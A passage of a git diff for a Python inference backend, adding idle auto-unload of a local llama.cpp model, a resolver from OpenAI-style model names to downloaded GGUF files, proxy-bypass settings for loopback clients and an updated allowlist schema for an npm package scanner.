"an already-listed package/path/pattern reopens. severity is for "
|
||||
"review only. Regenerate with --write-baseline AFTER reviewing every line."
|
||||
),
|
||||
"version": _BASELINE_SCHEMA_VERSION,
|
||||
"entries": entries,
|
||||
|
|
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
|
|||
|
||||
|
||||
def _partition_baseline(
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str]]
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
|
||||
) -> tuple[list[Finding], list[Finding]]:
|
||||
"""Split findings into (active, suppressed) by allowlist membership."""
|
||||
if not baseline:
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
{
|
||||
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
|
||||
"version": 2,
|
||||
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
|
||||
"version": 3,
|
||||
"entries": []
|
||||
}
|
||||
|
|
|
|||
|
|
@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
|
|||
)
|
||||
|
||||
|
||||
async def authenticated_via_api_key(
|
||||
credentials: HTTPAuthorizationCredentials = Depends(security),
|
||||
) -> bool:
|
||||
"""True when the caller used an sk-unsloth API key, not a UI session JWT.
|
||||
|
||||
Lets routes treat programmatic API callers differently from the Studio UI
|
||||
(e.g. refuse a teardown the UI would allow).
|
||||
"""
|
||||
return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
|
||||
|
||||
|
||||
async def get_current_subject_allow_password_change(
|
||||
credentials: HTTPAuthorizationCredentials = Depends(security),
|
||||
) -> str:
|
||||
|
|
|
|||
298
studio/backend/core/inference/llama_keepwarm.py
Normal file
298
studio/backend/core/inference/llama_keepwarm.py
Normal file
|
|
@ -0,0 +1,298 @@
|
|||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
|
||||
|
||||
Off by default (idle seconds = 0). When enabled, a background loop unloads the
|
||||
loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
|
||||
pure-ASGI middleware tracks in-flight inference requests so a long stream that
|
||||
outlives the TTL is never unloaded mid-response.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import threading
|
||||
import time
|
||||
|
||||
from loggers import get_logger
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
_lock = threading.Lock()
|
||||
_inflight = 0
|
||||
# Requests blocked on the unload gate but not yet counted in _inflight: the idle
|
||||
# loop must not unload while one is waiting (it would unload out from under it).
|
||||
_pending = 0
|
||||
_last_active = time.monotonic()
|
||||
# The (id, quant) idle-unload last freed, so an alias/unknown request that would
|
||||
# otherwise 503 against an empty backend can reload it (set on unload, cleared on
|
||||
# reload). Storing the quant means the reload restores the exact freed variant.
|
||||
_last_unloaded_model = None
|
||||
# Guards inflight bumps against the idle-check-then-unload race, and blocks new
|
||||
# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
|
||||
# shared across every event loop in the process, so a per-loop gate would let a
|
||||
# request on loop B start inference while a swap on loop A tears the model down.
|
||||
_lifecycle_lock = threading.Lock()
|
||||
|
||||
|
||||
@contextlib.asynccontextmanager
|
||||
async def _unload_gate():
|
||||
# Acquire off the loop: non-blocking first (the common uncontended case), else
|
||||
# poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
|
||||
# loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
|
||||
# not held, so it never leaks (mirrors the auto-switch swap gate).
|
||||
while not _lifecycle_lock.acquire(blocking = False):
|
||||
await asyncio.sleep(0.02)
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
_lifecycle_lock.release()
|
||||
|
||||
|
||||
_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
|
||||
_INFERENCE_SUFFIXES = (
|
||||
"/chat/completions",
|
||||
"/completions",
|
||||
"/messages",
|
||||
"/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages
|
||||
"/embeddings",
|
||||
"/responses",
|
||||
"/generate/stream", # Studio's own streaming route on the same llama-server
|
||||
"/audio/generate", # direct GGUF TTS; can outlive the idle TTL
|
||||
)
|
||||
|
||||
|
||||
def _is_inference_path(path: str) -> bool:
|
||||
if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
|
||||
return True
|
||||
# Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
|
||||
# chat handler and streams from the same backend, so protect it from idle unload.
|
||||
return path.startswith("/p/") and path.endswith("/v1/chat/completions")
|
||||
|
||||
|
||||
def _note_pending() -> None:
|
||||
global _pending
|
||||
with _lock:
|
||||
_pending += 1
|
||||
|
||||
|
||||
def _note_unpending() -> None:
|
||||
global _pending
|
||||
with _lock:
|
||||
_pending = max(0, _pending - 1)
|
||||
|
||||
|
||||
def _note_start() -> None:
|
||||
# Do not stamp _last_active here: while _inflight > 0 the model is already
|
||||
# protected (see _is_idle), and stamping on start lets an external-provider
|
||||
# request that is later untracked still reset the local idle timer.
|
||||
global _inflight, _pending
|
||||
with _lock:
|
||||
_pending = max(0, _pending - 1)
|
||||
_inflight += 1
|
||||
|
||||
|
||||
def _note_end() -> None:
|
||||
global _inflight, _last_active
|
||||
with _lock:
|
||||
_inflight = max(0, _inflight - 1)
|
||||
_last_active = time.monotonic()
|
||||
|
||||
|
||||
def _note_untracked_end() -> None:
|
||||
# Drop a request that never used the local GGUF without stamping local
|
||||
# activity, so periodic external-provider traffic can't keep the model warm.
|
||||
global _inflight
|
||||
with _lock:
|
||||
_inflight = max(0, _inflight - 1)
|
||||
|
||||
|
||||
def _is_idle(ttl_seconds: float) -> bool:
|
||||
with _lock:
|
||||
return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
|
||||
|
||||
|
||||
def _note_activity() -> None:
|
||||
"""Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
|
||||
global _last_active
|
||||
with _lock:
|
||||
_last_active = time.monotonic()
|
||||
|
||||
|
||||
def other_inference_request_count(
|
||||
current_request_counted: bool = True, *, include_pending: bool = True
|
||||
) -> int:
|
||||
"""Tracked inference requests other than the current route call.
|
||||
|
||||
The middleware counts OpenAI-compatible requests before route code runs, so
|
||||
the caller is excluded by default. Idle-unload counts pending waiters too (a
|
||||
swap holding the gate would unload out from under them). The swap guard passes
|
||||
include_pending=False: a pending request is blocked in the middleware and has
|
||||
not started inference, so it can't be the request a swap would interrupt.
|
||||
"""
|
||||
with _lock:
|
||||
active = _inflight
|
||||
if current_request_counted and active > 0:
|
||||
active -= 1
|
||||
return max(0, active) + (_pending if include_pending else 0)
|
||||
|
||||
|
||||
# Set on the ASGI scope by a route that proved this request won't touch
|
||||
# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
|
||||
# excludes it and the middleware skips its own end-decrement.
|
||||
_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
|
||||
|
||||
|
||||
def untrack_current_request(scope) -> None:
|
||||
"""Drop this request from the in-flight count once the route knows it won't
|
||||
use the local GGUF, so unrelated external-provider traffic can't trip the
|
||||
swap busy guard. Idempotent; the middleware then skips its end-decrement."""
|
||||
if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
|
||||
return
|
||||
scope[_UNTRACKED_SCOPE_KEY] = True
|
||||
_note_untracked_end()
|
||||
|
||||
|
||||
def inference_lifecycle_gate():
|
||||
"""The gate a model swap holds so new inference can't start mid-load. Process-
|
||||
wide, so a swap on one loop blocks inference starting on any other loop."""
|
||||
return _unload_gate()
|
||||
|
||||
|
||||
def note_model_loaded() -> None:
|
||||
"""Record a successful GGUF load: stamp activity and drop any reload stash so
|
||||
a manual load clears it synchronously, not only on the next idle poll."""
|
||||
_note_activity()
|
||||
_set_last_unloaded(None)
|
||||
|
||||
|
||||
def note_model_unloaded() -> None:
|
||||
"""Record a deliberate (user/API) unload: drop any idle reload stash so the next
|
||||
request can't resurrect the just-unloaded model. The idle loop unloads via the
|
||||
backend directly and then stashes the freed model for an alias reload; an
|
||||
explicit unload instead means "stay unloaded", so it must not stamp activity."""
|
||||
_set_last_unloaded(None)
|
||||
|
||||
|
||||
def get_last_unloaded_model():
|
||||
with _lock:
|
||||
return _last_unloaded_model
|
||||
|
||||
|
||||
def _set_last_unloaded(value) -> None:
|
||||
global _last_unloaded_model
|
||||
with _lock:
|
||||
_last_unloaded_model = value
|
||||
|
||||
|
||||
class LlamaKeepWarmMiddleware:
|
||||
"""Pure ASGI: count in-flight inference requests and stamp activity on completion."""
|
||||
|
||||
def __init__(self, app):
|
||||
self.app = app
|
||||
|
||||
async def __call__(self, scope, receive, send):
|
||||
# Inference endpoints are all POST; skipping non-POST avoids counting CORS
|
||||
# preflight (OPTIONS). ``or ""`` guards an explicit None path.
|
||||
if (
|
||||
scope.get("type") != "http"
|
||||
or scope.get("method") != "POST"
|
||||
or not _is_inference_path(scope.get("path") or "")
|
||||
):
|
||||
await self.app(scope, receive, send)
|
||||
return
|
||||
# Always track in-flight on inference paths, even when the feature is off,
|
||||
# so a stream that starts before idle-unload is enabled can't be unloaded
|
||||
# mid-response if the operator turns it on during that stream. Counting is
|
||||
# cheap and invisible to clients (the response is proxied unchanged).
|
||||
# Mark pending before the gate so the idle loop (which holds the gate while
|
||||
# unloading) can't free the model while this request is waiting to start.
|
||||
_note_pending()
|
||||
started = False
|
||||
try:
|
||||
async with _unload_gate():
|
||||
_note_start()
|
||||
started = True
|
||||
finally:
|
||||
if not started:
|
||||
_note_unpending()
|
||||
ended = {"done": False}
|
||||
status = {"code": None}
|
||||
|
||||
def _finish() -> None:
|
||||
# A route that untracked itself already decremented; don't double-count.
|
||||
if ended["done"]:
|
||||
return
|
||||
ended["done"] = True
|
||||
if scope.get(_UNTRACKED_SCOPE_KEY):
|
||||
return
|
||||
# This middleware runs before FastAPI auth, so a 401/403 reaches here
|
||||
# without ever touching llama.cpp. Decrement the in-flight count (to
|
||||
# balance _note_start) but do NOT stamp activity, or repeated
|
||||
# unauthenticated probes on an exposed server would keep the model warm
|
||||
# and never let idle-unload free VRAM.
|
||||
if status["code"] in (401, 403):
|
||||
_note_untracked_end()
|
||||
else:
|
||||
_note_end()
|
||||
|
||||
async def send_wrapper(message):
|
||||
if message.get("type") == "http.response.start":
|
||||
status["code"] = message.get("status")
|
||||
# Final body frame marks the end of a (possibly streaming) response.
|
||||
elif message.get("type") == "http.response.body" and not message.get(
|
||||
"more_body", False
|
||||
):
|
||||
_finish()
|
||||
await send(message)
|
||||
|
||||
try:
|
||||
await self.app(scope, receive, send_wrapper)
|
||||
finally:
|
||||
_finish()
|
||||
|
||||
|
||||
def _loaded_identity(backend):
|
||||
if not backend.is_loaded or not backend.model_identifier:
|
||||
return None
|
||||
# Third slot is the advertised id (repo id) an auto-switch load sets on the
|
||||
# backend; it's the override key, so an idle stash keyed by the concrete load
|
||||
# path doesn't drop the user's saved launch flags on the alias reload.
|
||||
advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
|
||||
return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
|
||||
|
||||
|
||||
async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
|
||||
"""Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
|
||||
from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
|
||||
|
||||
seen_model = None
|
||||
while True:
|
||||
await asyncio.sleep(poll_seconds)
|
||||
try:
|
||||
ttl = get_auto_unload_idle_seconds()
|
||||
if ttl <= 0:
|
||||
continue
|
||||
from routes.inference import get_llama_cpp_backend
|
||||
|
||||
backend = get_llama_cpp_backend()
|
||||
# Track by (id, variant): a (re)loaded model -- including the same repo
|
||||
# at a different quant -- counts as activity so it survives one TTL
|
||||
# before its first request (loads bypass the activity middleware).
|
||||
current = _loaded_identity(backend)
|
||||
if current != seen_model:
|
||||
seen_model = current
|
||||
if current is not None:
|
||||
_note_activity()
|
||||
_set_last_unloaded(None) # a model is loaded; drop stale stash
|
||||
async with _unload_gate():
|
||||
if backend.is_loaded and _is_idle(ttl):
|
||||
freed = _loaded_identity(backend)
|
||||
await asyncio.to_thread(backend.unload_model)
|
||||
_set_last_unloaded(freed) # let an alias request reload it
|
||||
logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
|
||||
seen_model = None
|
||||
except Exception as exc:
|
||||
logger.debug("idle_unload_loop iteration failed: %s", exc)
|
||||
269
studio/backend/core/inference/local_model_resolver.py
Normal file
269
studio/backend/core/inference/local_model_resolver.py
Normal file
|
|
@ -0,0 +1,269 @@
|
|||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
|
||||
|
||||
Used by the opt-in auto-switch path. The match is conservative: only names
|
||||
that map to an already-downloaded local GGUF (and a quant that is actually on
|
||||
disk) are eligible, so an arbitrary OpenAI model string still falls through to
|
||||
the loaded model (drop-in compat) and no surprise multi-GB download is ever
|
||||
triggered. The local-model scan is cached for a few seconds since auto-switch
|
||||
consults it per request.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from typing import Optional
|
||||
|
||||
from core.inference.model_ids import public_model_id
|
||||
from loggers import get_logger
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
|
||||
@dataclass(frozen = True)
|
||||
class _LocalGgufEntry:
|
||||
loader_id: str # advertised id (repo id / folder name), also the override key
|
||||
load_path: str # concrete on-disk dir/file passed to /load so it never downloads
|
||||
variants: tuple[str, ...] # local quant labels; () for a standalone .gguf
|
||||
|
||||
|
||||
_CACHE_TTL_S = 5.0
|
||||
_lock = threading.Lock()
|
||||
_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
|
||||
|
||||
|
||||
def _is_abs_path_id(value: str) -> bool:
|
||||
"""True when an id is an absolute filesystem path (the ./models and LM Studio
|
||||
scanners use the on-disk path as the id) rather than a repo id like org/name."""
|
||||
from pathlib import Path
|
||||
try:
|
||||
return Path(value).is_absolute()
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def _advertised_loader_id(info) -> Optional[str]:
|
||||
"""The id to advertise for a scanned model: prefer a client-facing alias over
|
||||
an absolute filesystem path so /v1/models and the override key never expose a
|
||||
host path (the ./models and LM Studio scanners report the path as info.id)."""
|
||||
raw_id = getattr(info, "id", None)
|
||||
if not raw_id or not _is_abs_path_id(raw_id):
|
||||
return raw_id
|
||||
for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
|
||||
if alt and not _is_abs_path_id(alt):
|
||||
return alt
|
||||
# No clean alias: strip to a path-free public id so a host path is never advertised.
|
||||
return public_model_id(raw_id) or raw_id
|
||||
|
||||
|
||||
def _resolve_load_dir(p):
|
||||
"""The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
|
||||
with ``snapshots/``) this is the latest snapshot dir, so /load takes the
|
||||
local branch instead of the download-capable repo-id branch."""
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
if (p / "snapshots").is_dir():
|
||||
from routes.models import _resolve_hf_cache_realpath
|
||||
real = _resolve_hf_cache_realpath(p)
|
||||
if real:
|
||||
return Path(real)
|
||||
except Exception:
|
||||
pass
|
||||
return p
|
||||
|
||||
|
||||
def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
|
||||
"""Build an entry only when GGUF quants are on disk (not Transformers/
|
||||
safetensors), listing only on-disk quants. ``load_path`` is a concrete local
|
||||
path so /load resolves the variant locally and never fetches a remote one."""
|
||||
from pathlib import Path
|
||||
from utils.models.model_config import _is_mmproj, list_local_gguf_variants
|
||||
|
||||
path = getattr(info, "path", None)
|
||||
if not isinstance(path, str):
|
||||
return None
|
||||
p = Path(path)
|
||||
try:
|
||||
if p.is_file():
|
||||
# A standalone .gguf loads by its own path; no quant sub-selection. An
|
||||
# mmproj companion (vision/audio projector) is not a servable model on
|
||||
# its own: _scan_models_dir's standalone-file pass does not filter it
|
||||
# the way the directory scan does, so reject it here or /v1/models would
|
||||
# advertise a projector and a switch could load it instead of the weights,
|
||||
# evicting the loaded model. The directory branch below is already mmproj
|
||||
# free (list_local_gguf_variants drops mmproj quants).
|
||||
if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
|
||||
return None
|
||||
return _LocalGgufEntry(loader_id, str(p), ())
|
||||
load_dir = _resolve_load_dir(p)
|
||||
variants, _ = list_local_gguf_variants(str(load_dir))
|
||||
quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
|
||||
return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def info_has_local_gguf(info) -> bool:
|
||||
"""True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
|
||||
auto-switch path can load. Read from the files, not ``info.model_format``: the
|
||||
HF-cache scanner leaves model_format unset for GGUF snapshots, so a
|
||||
model_format filter would drop every cached GGUF. Lets /v1/models advertise
|
||||
exactly what /v1 can serve."""
|
||||
from pathlib import Path
|
||||
|
||||
path = getattr(info, "path", None)
|
||||
# Ollama-link entries come from a scanner _build_index intentionally skips (it
|
||||
# creates symlinks on the request path), so their advertised ids never resolve.
|
||||
# Don't report them as servable, or /v1/models would list unswitchable models.
|
||||
if isinstance(path, str) and any(
|
||||
seg in (".studio_links", "ollama_links") for seg in Path(path).parts
|
||||
):
|
||||
return False
|
||||
return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
|
||||
|
||||
|
||||
def _build_index() -> dict[str, _LocalGgufEntry]:
|
||||
"""Map normalized id/model_id/display_name -> local GGUF entry.
|
||||
|
||||
Scans the same roots Studio's model picker lists (./models, the active plus
|
||||
legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
|
||||
local model is never missed and silently served as the loaded one. Ollama's
|
||||
scanner is skipped: it creates symlinks as a side effect and this runs on the
|
||||
request path.
|
||||
"""
|
||||
# Lazy import: routes.models imports core.inference, so import at call time.
|
||||
from pathlib import Path
|
||||
from routes.models import (
|
||||
_scan_models_dir,
|
||||
_scan_hf_cache,
|
||||
_scan_lmstudio_dir,
|
||||
_resolve_hf_cache_dir,
|
||||
_is_hidden_model,
|
||||
)
|
||||
from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
|
||||
|
||||
index: dict[str, _LocalGgufEntry] = {}
|
||||
seen_hf: set[str] = set()
|
||||
|
||||
def _scan_hf_once(directory) -> list:
|
||||
if directory is None:
|
||||
return []
|
||||
try:
|
||||
d = Path(directory)
|
||||
if not d.is_dir():
|
||||
return []
|
||||
rp = str(d.resolve())
|
||||
if rp in seen_hf:
|
||||
return []
|
||||
seen_hf.add(rp)
|
||||
return _scan_hf_cache(directory)
|
||||
except Exception as exc: # a missing/malformed root must skip, never crash the index
|
||||
logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
|
||||
return []
|
||||
|
||||
# Each source is guarded on its own so one bad root (a permission error, a
|
||||
# malformed cache) drops only that source, not the whole index.
|
||||
found: list = []
|
||||
try:
|
||||
found += _scan_models_dir(Path("./models").resolve())
|
||||
except Exception as exc:
|
||||
logger.debug("auto-switch: ./models scan failed: %s", exc)
|
||||
try:
|
||||
for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
|
||||
found += _scan_hf_once(hf_dir)
|
||||
except Exception as exc:
|
||||
logger.debug("auto-switch: HF cache scan failed: %s", exc)
|
||||
try:
|
||||
for lm_dir in lmstudio_model_dirs():
|
||||
found += _scan_lmstudio_dir(lm_dir)
|
||||
except Exception as exc:
|
||||
logger.debug("auto-switch: LM Studio scan failed: %s", exc)
|
||||
try:
|
||||
from storage.studio_db import list_scan_folders
|
||||
for folder in list_scan_folders():
|
||||
try:
|
||||
fp = Path(folder["path"])
|
||||
found += (
|
||||
_scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
|
||||
except Exception as exc:
|
||||
logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
|
||||
for info in found:
|
||||
raw_id = getattr(info, "id", None)
|
||||
if not raw_id:
|
||||
continue
|
||||
# Skip what Studio hides from its pickers (validation probe, RAG embed
|
||||
# weights): not chat models, so never an auto-switch target.
|
||||
if _is_hidden_model(raw_id, getattr(info, "path", None)):
|
||||
continue
|
||||
# Advertise a client-facing alias, not an absolute filesystem path.
|
||||
loader_id = _advertised_loader_id(info)
|
||||
entry = _local_gguf_entry(loader_id, info)
|
||||
if entry is None:
|
||||
continue
|
||||
# Index every alias (including the path) so a client can resolve by any of
|
||||
# them, even though only the non-path loader_id is advertised.
|
||||
for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
|
||||
if key:
|
||||
index.setdefault(key.strip().lower(), entry)
|
||||
return index
|
||||
|
||||
|
||||
def _index() -> dict[str, _LocalGgufEntry]:
|
||||
global _scan
|
||||
# Build under the lock so concurrent callers with an expired cache don't all
|
||||
# run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
|
||||
with _lock:
|
||||
now = time.monotonic()
|
||||
ts, cached = _scan
|
||||
if now - ts < _CACHE_TTL_S:
|
||||
return cached
|
||||
fresh = _build_index()
|
||||
# Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
|
||||
# an install with many local models can itself exceed the TTL, which would
|
||||
# store the cache already expired and make every request rebuild the index.
|
||||
_scan = (time.monotonic(), fresh)
|
||||
return fresh
|
||||
|
||||
|
||||
def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
|
||||
"""Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
|
||||
|
||||
``load_path`` is the concrete on-disk path to hand /load (so it never fetches
|
||||
a remote), ``loader_id`` is the advertised id used as the launch-override key.
|
||||
``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
|
||||
(so ids containing a colon still resolve); else the last ``:VARIANT`` is split
|
||||
off and resolves only when that quant is on disk.
|
||||
"""
|
||||
if not isinstance(requested, str) or not requested.strip():
|
||||
return None
|
||||
requested = requested.strip()
|
||||
try:
|
||||
index = _index()
|
||||
entry = index.get(requested.lower())
|
||||
if entry is not None:
|
||||
variant = entry.variants[0] if entry.variants else None
|
||||
return entry.load_path, variant, entry.loader_id
|
||||
|
||||
base, sep, variant = requested.rpartition(":")
|
||||
if not sep:
|
||||
return None
|
||||
entry = index.get(base.strip().lower())
|
||||
if entry is None:
|
||||
return None
|
||||
wanted = variant.strip().lower()
|
||||
for v in entry.variants:
|
||||
if v.lower() == wanted:
|
||||
return entry.load_path, v, entry.loader_id
|
||||
return None
|
||||
except Exception:
|
||||
# Best-effort: any resolver failure falls through to the loaded model,
|
||||
# so a malformed name can never turn a servable request into a 500.
|
||||
return None
|
||||
|
|
@ -128,6 +128,8 @@ def _vision_complete(
|
|||
json = payload,
|
||||
timeout = timeout,
|
||||
headers = _vision_auth_headers(),
|
||||
# trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
|
||||
trust_env = False,
|
||||
)
|
||||
r.raise_for_status()
|
||||
text = r.json()["choices"][0]["message"]["content"]
|
||||
|
|
|
|||
|
|
@ -61,9 +61,8 @@ class LlamaServerBackend:
|
|||
self._binary: str | None = None
|
||||
# Sticky after an auto GPU start fails: later spawns stay on CPU.
|
||||
self._force_cpu = False
|
||||
# Pooled client; requests pass full URLs, so a respawn's new port needs
|
||||
# no rebuild.
|
||||
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
|
||||
# Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
|
||||
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
|
||||
atexit.register(self._shutdown)
|
||||
|
||||
@property
|
||||
|
|
@ -305,7 +304,8 @@ class LlamaServerBackend:
|
|||
logger.error("llama-server embedder exited early (code %s)", code)
|
||||
return False
|
||||
try:
|
||||
if httpx.get(url, timeout = 2.0).status_code == 200:
|
||||
# trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
|
||||
if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
|
||||
return True
|
||||
except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -3672,7 +3672,7 @@ class UnslothTrainer:
|
|||
return
|
||||
|
||||
try:
|
||||
with open(config_path, "r") as f:
|
||||
with open(config_path, "r", encoding = "utf-8") as f:
|
||||
config = json.load(f)
|
||||
|
||||
# Determine training method
|
||||
|
|
@ -3686,7 +3686,7 @@ class UnslothTrainer:
|
|||
config["unsloth_training_method"] = method
|
||||
logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
|
||||
|
||||
with open(config_path, "w") as f:
|
||||
with open(config_path, "w", encoding = "utf-8") as f:
|
||||
json.dump(config, f, indent = 2)
|
||||
|
||||
except Exception as e:
|
||||
|
|
|
|||
|
|
@ -24,6 +24,18 @@ os.environ["PYTHONWARNINGS"] = "ignore"
|
|||
# process is covered before its heavy ML imports.
|
||||
os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
|
||||
|
||||
# Windows terminals default to the active system code page. Reconfigure
|
||||
# stdout/stderr before the startup banner so non-ASCII output cannot crash the
|
||||
# backend process.
|
||||
if sys.platform == "win32":
|
||||
for _win_stream in (sys.stdout, sys.stderr):
|
||||
if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
|
||||
try:
|
||||
_win_stream.reconfigure(encoding = "utf-8", errors = "replace")
|
||||
except Exception:
|
||||
pass
|
||||
del _win_stream
|
||||
|
||||
# ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
|
||||
# Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
|
||||
# os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
|
||||
|
|
@ -520,6 +532,11 @@ async def lifespan(app: FastAPI):
|
|||
_start_helper_precache_if_enabled()
|
||||
threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
|
||||
|
||||
# Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
|
||||
from core.inference.llama_keepwarm import idle_unload_loop
|
||||
|
||||
app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
|
||||
|
||||
# Initialize RSA key pair for API key encryption (external providers).
|
||||
from core.inference.key_exchange import init_key_pair
|
||||
|
||||
|
|
@ -549,6 +566,14 @@ async def lifespan(app: FastAPI):
|
|||
)
|
||||
yield
|
||||
|
||||
_idle_task = getattr(app.state, "idle_unload_task", None)
|
||||
if _idle_task is not None:
|
||||
_idle_task.cancel()
|
||||
try:
|
||||
await _idle_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
|
||||
from core.inference.llama_http import aclose as _close_llama_http
|
||||
|
||||
await _close_llama_http()
|
||||
|
|
@ -871,6 +896,11 @@ app.add_middleware(
|
|||
upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
|
||||
)
|
||||
|
||||
# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
|
||||
from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402
|
||||
|
||||
app.add_middleware(LlamaKeepWarmMiddleware)
|
||||
|
||||
|
||||
from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402
|
||||
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -17,7 +17,11 @@ from loggers import get_logger
|
|||
from auth.authentication import get_current_subject
|
||||
from auth.storage import DEFAULT_ADMIN_USERNAME
|
||||
from models.inference import ChatCompletionRequest, LoadRequest
|
||||
from routes.inference import load_model, openai_chat_completions
|
||||
from routes.inference import (
|
||||
disable_openai_auto_switch_for_request,
|
||||
load_model,
|
||||
openai_chat_completions,
|
||||
)
|
||||
from state.tool_policy import tools_force_disabled
|
||||
from utils.client_ip import client_ip
|
||||
from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
|
||||
|
|
@ -155,6 +159,9 @@ async def _serve_chat(
|
|||
path = _resolve_or_4xx(run, checkpoint)
|
||||
is_lora = (path / "adapter_config.json").exists()
|
||||
payload = _sanitize_preview_payload(payload, is_lora)
|
||||
# Preview always serves the pinned checkpoint it loads below; a public caller's
|
||||
# `model` field must never trigger an OpenAI auto-switch to another GGUF.
|
||||
